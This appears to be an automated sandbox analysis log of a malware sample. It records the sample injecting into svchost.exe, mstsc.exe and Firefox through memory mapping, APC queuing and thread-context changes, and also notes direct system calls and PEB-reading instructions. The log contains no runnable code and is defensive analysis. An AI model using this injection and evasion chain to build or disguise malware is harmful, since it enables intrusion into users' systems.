Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F68A90 mov edx, dword ptr fs:[00000030h]	1_2_02F68A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02F3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02F3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02F3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02F3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02F3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02F3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02F3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02F3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02F3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FACA72 mov eax, dword ptr fs:[00000030h]	1_2_02FACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FACA72 mov eax, dword ptr fs:[00000030h]	1_2_02FACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F6CA6F mov eax, dword ptr fs:[00000030h]	1_2_02F6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F6CA6F mov eax, dword ptr fs:[00000030h]	1_2_02F6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F6CA6F mov eax, dword ptr fs:[00000030h]	1_2_02F6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FDEA60 mov eax, dword ptr fs:[00000030h]	1_2_02FDEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F36A50 mov eax, dword ptr fs:[00000030h]	1_2_02F36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F36A50 mov eax, dword ptr fs:[00000030h]	1_2_02F36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F36A50 mov eax, dword ptr fs:[00000030h]	1_2_02F36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F36A50 mov eax, dword ptr fs:[00000030h]	1_2_02F36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F36A50 mov eax, dword ptr fs:[00000030h]	1_2_02F36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F36A50 mov eax, dword ptr fs:[00000030h]	1_2_02F36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F36A50 mov eax, dword ptr fs:[00000030h]	1_2_02F36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F40A5B mov eax, dword ptr fs:[00000030h]	1_2_02F40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F40A5B mov eax, dword ptr fs:[00000030h]	1_2_02F40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F54A35 mov eax, dword ptr fs:[00000030h]	1_2_02F54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F54A35 mov eax, dword ptr fs:[00000030h]	1_2_02F54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F6CA24 mov eax, dword ptr fs:[00000030h]	1_2_02F6CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F5EA2E mov eax, dword ptr fs:[00000030h]	1_2_02F5EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FBCA11 mov eax, dword ptr fs:[00000030h]	1_2_02FBCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F38BF0 mov eax, dword ptr fs:[00000030h]	1_2_02F38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F38BF0 mov eax, dword ptr fs:[00000030h]	1_2_02F38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F38BF0 mov eax, dword ptr fs:[00000030h]	1_2_02F38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F5EBFC mov eax, dword ptr fs:[00000030h]	1_2_02F5EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FBCBF0 mov eax, dword ptr fs:[00000030h]	1_2_02FBCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FDEBD0 mov eax, dword ptr fs:[00000030h]	1_2_02FDEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F50BCB mov eax, dword ptr fs:[00000030h]	1_2_02F50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F50BCB mov eax, dword ptr fs:[00000030h]	1_2_02F50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F50BCB mov eax, dword ptr fs:[00000030h]	1_2_02F50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F30BCD mov eax, dword ptr fs:[00000030h]	1_2_02F30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F30BCD mov eax, dword ptr fs:[00000030h]	1_2_02F30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F30BCD mov eax, dword ptr fs:[00000030h]	1_2_02F30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F40BBE mov eax, dword ptr fs:[00000030h]	1_2_02F40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F40BBE mov eax, dword ptr fs:[00000030h]	1_2_02F40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FE4BB0 mov eax, dword ptr fs:[00000030h]	1_2_02FE4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FE4BB0 mov eax, dword ptr fs:[00000030h]	1_2_02FE4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03004A80 mov eax, dword ptr fs:[00000030h]	1_2_03004A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F2CB7E mov eax, dword ptr fs:[00000030h]	1_2_02F2CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F28B50 mov eax, dword ptr fs:[00000030h]	1_2_02F28B50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FDEB50 mov eax, dword ptr fs:[00000030h]	1_2_02FDEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FE4B4B mov eax, dword ptr fs:[00000030h]	1_2_02FE4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FE4B4B mov eax, dword ptr fs:[00000030h]	1_2_02FE4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FC6B40 mov eax, dword ptr fs:[00000030h]	1_2_02FC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FC6B40 mov eax, dword ptr fs:[00000030h]	1_2_02FC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FFAB40 mov eax, dword ptr fs:[00000030h]	1_2_02FFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FD8B42 mov eax, dword ptr fs:[00000030h]	1_2_02FD8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F5EB20 mov eax, dword ptr fs:[00000030h]	1_2_02F5EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F5EB20 mov eax, dword ptr fs:[00000030h]	1_2_02F5EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FF8B28 mov eax, dword ptr fs:[00000030h]	1_2_02FF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FF8B28 mov eax, dword ptr fs:[00000030h]	1_2_02FF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02FAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02FAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02FAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02FAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02FAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02FAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02FAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02FAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02FAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F6C8F9 mov eax, dword ptr fs:[00000030h]	1_2_02F6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F6C8F9 mov eax, dword ptr fs:[00000030h]	1_2_02F6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FFA8E4 mov eax, dword ptr fs:[00000030h]	1_2_02FFA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F5E8C0 mov eax, dword ptr fs:[00000030h]	1_2_02F5E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03004940 mov eax, dword ptr fs:[00000030h]	1_2_03004940
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FBC89D mov eax, dword ptr fs:[00000030h]	1_2_02FBC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F30887 mov eax, dword ptr fs:[00000030h]	1_2_02F30887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FBE872 mov eax, dword ptr fs:[00000030h]	1_2_02FBE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FBE872 mov eax, dword ptr fs:[00000030h]	1_2_02FBE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FC6870 mov eax, dword ptr fs:[00000030h]	1_2_02FC6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FC6870 mov eax, dword ptr fs:[00000030h]	1_2_02FC6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F60854 mov eax, dword ptr fs:[00000030h]	1_2_02F60854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F34859 mov eax, dword ptr fs:[00000030h]	1_2_02F34859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F34859 mov eax, dword ptr fs:[00000030h]	1_2_02F34859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F42840 mov ecx, dword ptr fs:[00000030h]	1_2_02F42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F52835 mov eax, dword ptr fs:[00000030h]	1_2_02F52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F52835 mov eax, dword ptr fs:[00000030h]	1_2_02F52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F52835 mov eax, dword ptr fs:[00000030h]	1_2_02F52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F52835 mov ecx, dword ptr fs:[00000030h]	1_2_02F52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F52835 mov eax, dword ptr fs:[00000030h]	1_2_02F52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F52835 mov eax, dword ptr fs:[00000030h]	1_2_02F52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F6A830 mov eax, dword ptr fs:[00000030h]	1_2_02F6A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FD483A mov eax, dword ptr fs:[00000030h]	1_2_02FD483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FD483A mov eax, dword ptr fs:[00000030h]	1_2_02FD483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FBC810 mov eax, dword ptr fs:[00000030h]	1_2_02FBC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F629F9 mov eax, dword ptr fs:[00000030h]	1_2_02F629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F629F9 mov eax, dword ptr fs:[00000030h]	1_2_02F629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FBE9E0 mov eax, dword ptr fs:[00000030h]	1_2_02FBE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_02F3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_02F3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_02F3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_02F3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_02F3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_02F3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F649D0 mov eax, dword ptr fs:[00000030h]	1_2_02F649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FFA9D3 mov eax, dword ptr fs:[00000030h]	1_2_02FFA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FC69C0 mov eax, dword ptr fs:[00000030h]	1_2_02FC69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB89B3 mov esi, dword ptr fs:[00000030h]	1_2_02FB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB89B3 mov eax, dword ptr fs:[00000030h]	1_2_02FB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FB89B3 mov eax, dword ptr fs:[00000030h]	1_2_02FB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F429A0 mov eax, dword ptr fs:[00000030h]	1_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F429A0 mov eax, dword ptr fs:[00000030h]	1_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F429A0 mov eax, dword ptr fs:[00000030h]	1_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F429A0 mov eax, dword ptr fs:[00000030h]	1_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F429A0 mov eax, dword ptr fs:[00000030h]	1_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F429A0 mov eax, dword ptr fs:[00000030h]	1_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F429A0 mov eax, dword ptr fs:[00000030h]	1_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F429A0 mov eax, dword ptr fs:[00000030h]	1_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F429A0 mov eax, dword ptr fs:[00000030h]	1_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F429A0 mov eax, dword ptr fs:[00000030h]	1_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F429A0 mov eax, dword ptr fs:[00000030h]	1_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F429A0 mov eax, dword ptr fs:[00000030h]	1_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F429A0 mov eax, dword ptr fs:[00000030h]	1_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F309AD mov eax, dword ptr fs:[00000030h]	1_2_02F309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F309AD mov eax, dword ptr fs:[00000030h]	1_2_02F309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FD4978 mov eax, dword ptr fs:[00000030h]	1_2_02FD4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FD4978 mov eax, dword ptr fs:[00000030h]	1_2_02FD4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02FBC97C mov eax, dword ptr fs:[00000030h]	1_2_02FBC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F56962 mov eax, dword ptr fs:[00000030h]	1_2_02F56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F56962 mov eax, dword ptr fs:[00000030h]	1_2_02F56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F56962 mov eax, dword ptr fs:[00000030h]	1_2_02F56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F7096E mov eax, dword ptr fs:[00000030h]	1_2_02F7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F7096E mov edx, dword ptr fs:[00000030h]	1_2_02F7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F7096E mov eax, dword ptr fs:[00000030h]	1_2_02F7096E

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007C81D4 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_007C81D4

Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_0079A2D5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_0079A2D5
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_0079A2A4 SetUnhandledExceptionFilter,		0_2_0079A2A4

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtCreateKey: Direct from: 0x76F02C6C	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtSetInformationThread: Direct from: 0x76F02B4C	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtQuerySystemInformation: Direct from: 0x76F048CC	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtOpenSection: Direct from: 0x76F02E0C	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtSetInformationThread: Direct from: 0x76EF63F9	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtCreateFile: Direct from: 0x76F02FEC	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtOpenFile: Direct from: 0x76F02DCC	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtQueryInformationToken: Direct from: 0x76F02CAC	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtTerminateThread: Direct from: 0x76F02FCC	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtOpenKeyEx: Direct from: 0x76F02B9C	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtSetInformationProcess: Direct from: 0x76F02C5C	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtCreateMutant: Direct from: 0x76F035CC	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtMapViewOfSection: Direct from: 0x76F02D1C	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtResumeThread: Direct from: 0x76F036AC	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtReadFile: Direct from: 0x76F02ADC	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtDelayExecution: Direct from: 0x76F02DDC	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtQueryInformationProcess: Direct from: 0x76F02C26	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtResumeThread: Direct from: 0x76F02FBC	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	NtCreateUserProcess: Direct from: 0x76F0371C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\rP0n___87004354.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\mstsc.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: NULL target: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: NULL target: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\mstsc.exe

Thread register set: target process: 4956

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\mstsc.exe

Thread APC queued: target process: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 22F0008

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007C8A73 LogonUserW,

0_2_007C8A73

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_00773B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00773B4C

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_00774A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00774A35

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007D4CFA mouse_event,

0_2_007D4CFA

Source: C:\Users\user\Desktop\rP0n___87004354.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\rP0n___87004354.exe"	Jump to behavior
Source: C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe	Process created: C:\Windows\SysWOW64\mstsc.exe "C:\Windows\SysWOW64\mstsc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\rP0n___87004354.exe

0_2_007C81D4

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007D4A08 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_007D4A08

